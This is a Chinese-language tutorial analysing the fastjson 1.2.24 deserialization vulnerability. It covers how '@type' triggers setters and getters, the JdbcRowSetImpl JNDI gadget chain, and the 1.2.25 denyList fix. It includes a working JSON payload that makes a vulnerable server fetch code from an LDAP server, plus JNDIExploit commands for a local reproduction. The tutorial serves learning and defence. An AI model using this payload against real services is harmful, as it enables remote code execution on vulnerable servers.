1.1. 前言
前面讲了JNDI注入相关的知识,不实际操作操作怎么能行呢!
这里就主要分析一下fastjson 1.2.24
版本的反序列化漏洞,这个漏洞比较普遍的利用手法就是通过JNDI注入的方式实现RCE,所以是一个不得不分析的JNDI注入实践案例!
这里不同与我们之前分析的反序列化,fastjson是一个非常流行的库,它可以将数据在JSON
和Java Object
之间互相转换,我们常说的fastjson序列化就是将java对象转化为json字符串,而反序列化就是将json字符串转化为java对象。
1.2. DEMO
1.2.1. 环境搭建
- pom.xml
<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
1.2.2. 序列化
package org.example;
import com.alibaba.fastjson.JSON;
public class App {
public static void main( String[] args ){
User user = new User();
user.setAge(66);
user.setUsername("test");
String json = JSON.toJSONString(user);
System.out.println(json);
}
}
class User{
private String username;
private int age;
public void setUsername(String username) {
this.username = username;
}
public String getUsername() {
return username;
}
public void setAge(int age) {
this.age = age;
}
public int getAge() {
return age;
}
}
运行后,得到对应的JSON格式字符串
1.2.3. 反序列化‼️
fastjson反序列化到对应类的过程中会自动调用目标对象的
setXXX
方法,例如{"age":66,"username":"test"}
被反序列化为User
类时会自动调用User
类的setAge
以及setUsername
方法,实践出真知
修改一下User
类,在setXXX
方法里面添加输出
class User{
private String username;
private int age;
public void setUsername(String username) {
this.username = username;
System.out.println("call setUsername");
}
public String getUsername() {
return username;
}
public void setAge(int age) {
this.age = age;
System.out.println("call setAge");
}
public int getAge() {
return age;
}
}
修改App
启动类,反序列化生成User
对象
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
public class App {
public static void main( String[] args ){
String json = "{\"age\":66,\"username\":\"test\"}";
User user = JSON.parseObject(json, User.class); // 后面的User.class表示反序列化为User类
}
}
执行后,可以看到在反序列化的过程中确实调用了setXXX
的方法
这里我们反序列化使用的是parseObject()
方法,其实也可以用到parse()
方法,parseObject()
本质上也是调用 parse()
进行反序列化的。但是 parseObject()
会额外的将Java对象转为 JSONObject
对象,即 JSON.toJSON()
;
他们的最主要的区别就是前者返回的是JSONObject
,而后者会识别并调用目标类的 setter
方法及某些特定条件的 getter
方法,返回的是实际类型的对象;当在没有对应类的定义的情况下(没有在@type
声明类),通常情况下都会使用JSON.parseObject
来获取数据。
由于JSON.parseObject()
要反序列化到对应的对象(比如demo中的User类对象,需要将第二个参数设置为User.class
)才会触发类的setXXX
方法,而直接使用该方法返回的是JSONObject
对象,是不会触发setXXX
方法的(因为JVM也不知道是哪个类的对象)
那要怎么处理才能让JSON.parseObject()
在调用时,不输入第二个参数也能执行setXXX
方法呢,答案就是上面利用parse()
方法使到的用@type
属性。
fastjson接受的JSON可以通过@type
字段来指定该JSON应当还原成何种类型的对象,在反序列化的时候方便操作。
举个例子:
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
public class App {
public static void main(String[] args) {
String json1 = "{\"age\":66,\"username\":\"test\"}";
String json2 = "{\"@type\":\"org.example.User\", \"age\":66,\"username\":\"test\"}";
System.out.println("反序列化JSON1");
JSON.parseObject(json1);
System.out.println("反序列化JSON1");
JSON.parseObject(json2);
}
}
class User {
private String username;
private int age;
public void setUsername(String username) {
this.username = username;
System.out.println("call setUsername");
}
public String getUsername() {
return username;
}
public void setAge(int age) {
this.age = age;
System.out.println("call setAge");
}
public int getAge() {
return age;
}
}
执行后,没有@type
返回JSONObject
,有@type
则返回对应的类对象且成功调用了setXXX
方法
可见@type
参数的作用就是指定json字符串要反序列化为哪个类的对象,而就是这个属性,让我们能够对其进行漏洞利用。
1.3. 利用链
1.3.1. 分析
由于在反序列化的过程中会自动调用@type
类中相关的setXXX
方法,如果我们能找到一个类,且这个类的setXXX
方法可以通过我们对参数的构造达到命令执行的效果,那攻击的目的不就达到了吗?
如果需要还原出private属性的话,还需要在
JSON.parseObject
/JSON.parse
中加上Feature.SupportNonPublicField
参数。不过一般没人会给私有属性加setter方法,加了就没必要声明为private了
经过大佬们的分析,就发现了com.sun.rowset.JdbcRowSetImpl
这个类可以被利用
这个类中有很多的setXXX
方法,但我们需要利用的,则是setDataSourceName()
和setAutoCommit()
这两个方法
JdbcRowSetImpl.setDataSourceName
public void setDataSourceName(String var1) throws SQLException {
if (this.getDataSourceName() != null) {
if (!this.getDataSourceName().equals(var1)) {
super.setDataSourceName(var1);
this.conn = null;
this.ps = null;
this.rs = null;
}
} else {
super.setDataSourceName(var1);
}
}
这里调用了父类的setDataSourceName
方法,跟一下
BaseRowSet.setDataSourceName
public void setDataSourceName(String name) throws SQLException {
if (name == null) {
dataSource = null;
} else if (name.equals("")) {
throw new SQLException("DataSource name cannot be empty string");
} else {
dataSource = name;
}
URL = null;
}
可以看到就是设置了dataSource
JdbcRowSetImpl.setAutoCommit
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
进行了connect()
操作,跟进connect()
JdbcRowSetImpl.connect
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}
可以看到这里有JNDI注入中的lookup
的调用,而调用的参数就是刚才设置的dataSource
,这个是我们可以控制的,如果让他加载恶意的Reference类
,那么我们的目的就达成了。
1.3.2. 利用
根据之前的学习和分析,利用类com.sun.rowset.JdbcRowSetImpl
,利用的set
方法setDataSourceName
和setAutoCommit
,构造payload
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "恶意的Reference类",
"autoCommit": true/false
}
1.3.3. 复现
直接用JNDIExploit
同时启动ldap
和http
服务,好处就是不需要自己手动编译class什么的了
当然也可以使用marshalsec
快速开启rmi或者ldap服务,再手动开启http服务
# 查看用法
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 127.0.0.1 -l 9999 -p 8888 -u
# 启动服务
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 127.0.0.1 -l 9999 -p 8888
反序列化json
package org.example;
import com.alibaba.fastjson.JSON;
public class App {
public static void main(String[] args) {
// 高版本的JDK,需要设置一下,低版本的可以忽略,参考JNDI注入文章
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
String json = "{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\": \"ldap://127.0.0.1:9999/Basic/Command/open -na Calculator\",\"autoCommit\": false}";
JSON.parseObject(json);
}
}
1.4. 总结
整个过程其实也很简单,就是fastjson在反序列化的时候,会调用对应类设置了参数的setXXX
方法,只需要找到一些对应的链,同时jdk满足要求就可以命令执行。
1.5. DEBUG分析
- 代码举例
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
public class App {
public static void main(String[] args) {
String json = "{\"@type\":\"org.example.User\",\"age\":66,\"username\":\"test\"}";
JSONObject jsonObject = JSON.parseObject(json);
}
}
class User {
private String username;
private int age;
public void setUsername(String username) {
this.username = username;
System.out.println("call setUsername");
}
public String getUsername() {
return username;
}
public void setAge(int age) {
this.age = age;
System.out.println("call setAge");
}
public int getAge() {
return age;
}
}
因为我们现在知道反序列化的时候会调用setXXX
的方法,所以现在setXXX
方法处下个断点,看看堆栈情况
setAge:28, User (org.example)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:593, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
parseObject:201, JSON (com.alibaba.fastjson)
main:10, App (org.example)
然后从下向上定位分析就行了,调用了哪个包重哪些类的哪些方法,一应俱全,避免一直F7、F8浪费时间,可以把精力放到参数的传递追踪上。
1.6. 修复方案
1.2.25官方对漏洞进行了修复,对更新的源码进行比较,主要的更新在checkAutoType
函数
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
} else {
String className = typeName.replace('$', '.');
if (this.autoTypeSupport || expectClass != null) {
int i;
String deny;
for(i = 0; i < this.acceptList.length; ++i) {
deny = this.acceptList[i];
if (className.startsWith(deny)) {
return TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
}
for(i = 0; i < this.denyList.length; ++i) {
deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz;
}
} else {
if (!this.autoTypeSupport) {
String accept;
int i;
for(i = 0; i < this.denyList.length; ++i) {
accept = this.denyList[i];
if (className.startsWith(accept)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for(i = 0; i < this.acceptList.length; ++i) {
accept = this.acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
if (this.autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
if (clazz != null) {
if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
}
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
if (!this.autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
} else {
return clazz;
}
}
}
}
这里遍历denyList数组,只要引用的库中是以我们的黑名单中的字符串开头的就直接抛出异常中断运行。
denyList数组,主要利用黑名单机制把常用的反序列化利用库都添加到黑名单中,主要有:
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework
1.7. 一些细节
parseObject(String text)
在反序列化时也会调用getter
方法,所以也是一个可利用的点,只不过比较鸡肋,符合条件的利用链很少
1.7.1. 举例演示
package org.example;
import com.alibaba.fastjson.JSON;
public class App {
public static void main(String[] args) {
String json = "{\"@type\":\"org.example.User\",\"age\":66,\"username\":\"test\"}";
System.out.println("parseObject(String)");
JSON.parseObject(json);
System.out.println("parse(String)");
JSON.parse(json);
}
}
class User {
private String username;
private int age;
public void setUsername(String username) {
this.username = username;
System.out.println("call setUsername");
}
public String getUsername() {
System.out.println("call getUsername");
return username;
}
public void setAge(int age) {
this.age = age;
System.out.println("call setAge");
}
public int getAge() {
System.out.println("call getAge");
return age;
}
}
1.7.2. 分析
为什么会调用getter()
方法呢?在getter()
方法的地方下断点,查看调用栈
getAge:37, User (org.example)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
get:451, FieldInfo (com.alibaba.fastjson.util)
getPropertyValue:114, FieldSerializer (com.alibaba.fastjson.serializer)
getFieldValuesMap:439, JavaBeanSerializer (com.alibaba.fastjson.serializer)
toJSON:902, JSON (com.alibaba.fastjson)
toJSON:824, JSON (com.alibaba.fastjson)
parseObject:206, JSON (com.alibaba.fastjson)
main:10, App (org.example)
分析调用栈,首先进入parseObject
方法,然后正常调用parse
方法(PS:此时setter
方法已经被调用了,可以查看Console
栏当前输出的情况)
所以调用getter
方法的原因,不是出在parse
函数里面,而是调用了(JSONObject)toJSON(obj)
方法
继续跟toJSON
方法,发现会到javaBeanSerializer.getFieldValuesMap(javaObject)
查看当前的变量,javaBeanSerializer
中的getters
存放了相关的getter
方法后缀,javaObject
中存放了相关变量的值
跟进getFieldValuesMap
,发现通过Map.put
存入数据,值通过getter.getPropertyValue(object)
进行获取,object
存放的是setter
设置的变量名和值
跟进getPropertyValue
,会调用this.fieldInfo.get
方法
跟进get
,发现反射调用User
类的getAge()
方法
所以getter
方法被执行了